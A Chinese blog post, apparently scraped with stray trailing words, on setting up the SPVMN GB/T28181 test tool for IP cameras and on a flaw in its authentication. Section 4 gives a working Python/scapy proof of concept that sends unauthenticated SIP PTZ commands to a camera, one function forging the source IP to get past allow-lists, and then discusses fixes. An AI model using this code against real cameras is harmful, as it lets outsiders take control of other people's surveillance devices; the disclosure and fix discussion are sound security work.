Spvmn測試環境搭建及其安全性討論

1、說明

這幾天都在作設備的協議分析,而後看到有個叫Spvmn的不懂要怎麼操做才能觸發其操做過程,問了測試部的同事說也沒有測試文檔,本身研究了一下這裏作個記錄。html

按我如今理解,各廠商有本身的私有協議、ONVIF是世界標準協議、GB/T28181是國標;Onvif Test Tool是ONVIF協議實現的測試工具,而SPVMN是GB/T28181協議實現的測試工具。java

 

2、環境搭建

IPC:首先須要一臺支持GB/T28181(或者說有Spvmn配置)的IPC,這個是必然的。web

Windows電腦:看spvmn裏邊的文檔說只支持Windows,Linux沒試過。apache

JDK1.5:我使用JDK1.8該問頁面一直報錯,換成1.5才能成功訪問。下載地址點連接tomcat

報錯:org.apache.jasper.JasperException: Unable to compile class for JSP服務器

 

Spvmn工具下載地址:http://7dx.pc6.com/wwb5/SPVMN.zipsession

下載直接解壓到本身想要的目錄,該工具本質是一個tomcat,裏邊部署了一個用於測試的jsp應用。和正常tomcat同樣到bin目錄點擊startup.bat啓動便可。oracle

不過要注意,該tomcat默認使用8080端口,而後又啓了在5060開了一個監聽,因此在啓動前要注意確保本機的這兩個端口沒被佔用。app

 

tomcat啓動完成後,訪問後邊的連接,若是一切正常頁面應以下圖:http://127.0.0.1:8080/SIPStandardDebug/ssh

 

 

3、測試操做

3.1 配置IPC上線

使用Onvif Test Tool等工具,咱們都是在Onvif Test Tool等工具輸入IPC的用戶名密碼向IPC認證。但Spvmn反過來,是在IPC中輸入Spvmn的「用戶名密碼」,IPC向Spvmn認證。

這認證邏輯存在問題,咱們後邊再說,這裏主要是知道是這樣子就能夠了。

Spvmn的「用戶名密碼」,存放在"webapps\SIPStandardDebug\WEB-INF\classes\SSDConfig.properties"中,主要找到這兩個節區的信息

找到這些信息後,打開IPC上的Spvmn配置頁面,把這些信息複製填到Spvmn頁面對應的框中,而後保存啓動便可。(Sip服務器就是裝Spvmn的那臺電腦)

此時回到Spvmn頁面,依次點調測輔助面---鏈路管理,如無心外在彈出頁面中便可看到IPC成功上線。

 

3.2 測試操做

第一步,點擊「調測設備類型」選好要進行調測的設備,咱們這裏是IPC

第二步,在下面的各類操做經過點擊選中本身要測試的命令,好比我這裏點「向左」

第三步,點選好命令後在左下窗格中即會呈現該命令將會發送的主體報文,點擊「發送消息」按鈕,該命令即會向IPC發出返回結果呈如今右下窗格中。

固然協議實現除了看有消息返回外,更主要的仍是要看IPC是否真的執行了相應的動做。好比咱們這裏發了「向左」命令,IPC是否真的有向左旋轉。

 

4、Spvmn有可能淪爲後門

4.1 緣由分析

使用wireshark攔截數據包觀察交互過程以下圖。

IPC向Spvmn發起註冊(REGISTER)請求,Spvmn回覆未認證(Unauthorized),IPC經過Digest形式提交用戶名密碼,Spvmn回覆認證成功。然後就都是Spvmn向IPC發送各類命令操控IPC(MESSAGE)。

正如咱們向服務器認證,後續請求都得帶session向服務器代表身份而服務器什麼都不須要帶同樣;ipc向spvmn認證,那麼後續請求上都是ipc向spvmn攜帶認證信息,而spvmn不會向ipc攜帶認證信息。(實際看來只有在上線註冊時ipc向spvmn帶了用戶名密碼,以後雙方就都沒帶會話信息)

既然不須要認證信息的話,那是否是說,只要IPC開啓spvmn,我假裝成spvmn服務器向ipc發命令ipc都會執行。而通過實驗發現事實也是如此,測試代碼以下可自行使用本身環境進行測試。

from scapy.all import *

# 假裝成本地spvmn發包,這個其實不必
local_ip = "10.10.6.91"
local_port = 5060
# 有些IPC限制只接收從spvmn頁面配置的ip發來的命令,此時能夠經過僞造IP繞過
cheat_ip = "10.10.6.92"
# 目標ipc ip和端口
# ipc_ip = "10.10.6.98"
ipc_ip = "10.20.23.150"
ipc_port = 5060
# 1--turn_left,2--zoom_out,3--zoom_out_use_scapy,4--stop
command_flag = 3



# 讓IPC向左旋轉命令
def turn_left():
    # 創建發送socket,和正常UDP數據包沒區別
    send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    # 其實不須要綁定端口
    # send_sock.bind((local_ip, local_port))

    message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
                 """Call-ID: b73541b1e114a46ed90805e4da810973@0.0.0.0\r\n"""
                 """CSeq: 1 MESSAGE\r\n"""
                 """From: <sip:34020000002000000001@34020000>;tag=86660128_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n"""
                 """To: <sip:34020000001320000001@34020000>\r\n"""
                 """Max-Forwards: 70\r\n"""
                 """Content-Type: Application/MANSCDP+xml\r\n"""
                 """Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n"""
                 """Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
                 """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_18249986822757\r\n"""
                 """Content-Length: 169\r\n"""
                 """\r\n"""
                 """<?xml version="1.0"?>\r\n"""
                 """<Control>\r\n"""
                 """<CmdType>DeviceControl</CmdType>\r\n"""
                 """<SN>11</SN>\r\n"""
                 """<DeviceID>34020000001320000001</DeviceID>\r\n"""
                 """<PTZCmd>A50F01021F0000D6</PTZCmd>\r\n"""
                 """</Control>\r\n""")

    send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
    print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish')

    send_sock.close()

# 放大
def zoom_out():
    send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
               """Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n"""
               """CSeq: 1 MESSAGE\r\n"""
               """From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n"""
               """To: <sip:34020000001320000001@34020000>\r\n"""
               """Max-Forwards: 70\r\n"""
               """Content-Type: Application/MANSCDP+xml\r\n"""
               """Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n"""
               """Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
               """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n"""
               """Content-Length: 169\r\n"""
               """\r\n"""
               """<?xml version="1.0"?>\r\n"""
               """<Control>\r\n"""
               """<CmdType>DeviceControl</CmdType>\r\n"""
               """<SN>11</SN>\r\n"""
               """<DeviceID>34020000001320000001</DeviceID>\r\n"""
               """<PTZCmd>A50F0110000010D5</PTZCmd>\r\n"""
               """</Control>"""
               )

    send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
    print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish')

    send_sock.close()

# 使用scapy僞造源IP地址
def zoom_out_use_scapy():
    message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
               """Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n"""
               """CSeq: 1 MESSAGE\r\n"""
               """From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n"""
               """To: <sip:34020000001320000001@34020000>\r\n"""
               """Max-Forwards: 70\r\n"""
               """Content-Type: Application/MANSCDP+xml\r\n"""
               """Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n"""
               """Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
               """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n"""
               """Content-Length: 169\r\n"""
               """\r\n"""
               """<?xml version="1.0"?>\r\n"""
               """<Control>\r\n"""
               """<CmdType>DeviceControl</CmdType>\r\n"""
               """<SN>11</SN>\r\n"""
               """<DeviceID>34020000001320000001</DeviceID>\r\n"""
               """<PTZCmd>A50F0110000010D5</PTZCmd>\r\n"""
               """</Control>"""
               )
    udp_packet = IP(src=cheat_ip, dst=ipc_ip) / UDP(dport=ipc_port) / message
    send(udp_packet)

# 讓IPC中止全部動做命令
def stop():
    send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    # 其實不須要綁定端口
    # send_sock.bind((local_ip, local_port))

    message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n"""
                 """Call-ID: 0b9ed3de1558c60bc7ec2efc0dbdb744@0.0.0.0\r\n"""
                 """CSeq: 1 MESSAGE\r\n"""
                 """From: <sip:34020000002000000001@34020000>;tag=87210045_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n"""
                 """To: <sip:34020000001320000001@34020000>\r\n"""
                 """Max-Forwards: 70\r\n"""
                 """Content-Type: Application/MANSCDP+xml\r\n"""
                 """Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n"""
                 """Monitor-User-Identity: operation=ptz,extparam=0\r\n"""
                 """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_20090787679737\r\n"""
                 """Content-Length: 169\r\n"""
                 """\r\n"""
                 """<?xml version="1.0"?>\r\n"""
                 """<Control>\r\n"""
                 """<CmdType>DeviceControl</CmdType>\r\n"""
                 """<SN>11</SN>\r\n"""
                 """<DeviceID>34020000001320000001</DeviceID>\r\n"""
                 """<PTZCmd>A50F0100000000B5</PTZCmd>\r\n"""
                 """</Control>\r\n""")

    send_sock.sendto(message.encode(), (ipc_ip, ipc_port))
    print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish')

    send_sock.close()

if __name__ == "__main__":
    if command_flag == 1:
        turn_left()
    elif command_flag == 2:
        zoom_out()
    elif command_flag == 3:
        zoom_out_use_scapy()
    else:
        stop()
View Code

 

4.2 修復討論

方法一:

咱們能不能在IPC端設定,只處理來自自身配置好的Spvmn的ip發來的命令?

答案是不能徹底解決。實際發現有些廠商就作了ip限制,但由於使用的是UDP協議,IP徹底是能夠僞造的。

方法二:

在4.1的代碼的請求中咱們能夠看到有一些應該是spvmn服務器的一些信息,咱們可不能夠在IPC端經過提取這些信息與spvmn配置頁面中的進行比對一致才進行處理?

這應該是能夠解決spvmn僞造的問題,但還存在的問題就是假若spvmn服務器信息泄漏,那麼IPC也會被控制;或者說此時spvmn的用戶名密碼也扮演了IPC用戶名密碼的角色,這增大了IPC的攻擊面。另外在spvmn功能就相似操做系統的telnetd和sshd,攻擊者侵入web後配置好spvmn就獲得了一個自然的後門程序。

方法三:

4.1中咱們說spvmn把認證方向搞反了,其實若是spvmn使用的是tcp而不是udp不用調整認證方向也能達到和方案二同樣的效果。由於若是使用tcp那就是ipc隨便選一個端口與spvmn服務器進行鏈接,該端口是ESTABLISHED狀態而不是LISTENING狀態,你新建一個進程試圖與該端口創建鏈接該端口是不予理會的;而假若是udp沒有創建鏈接過程只能是監聽狀態,僞造的數據它也沒法區分。但若是使用這種方法進行修復就不符合協議標準了,只是提一下。

 

參考:

https://blog.csdn.net/hiwubihe/article/details/82910685

相關文章
相關標籤/搜索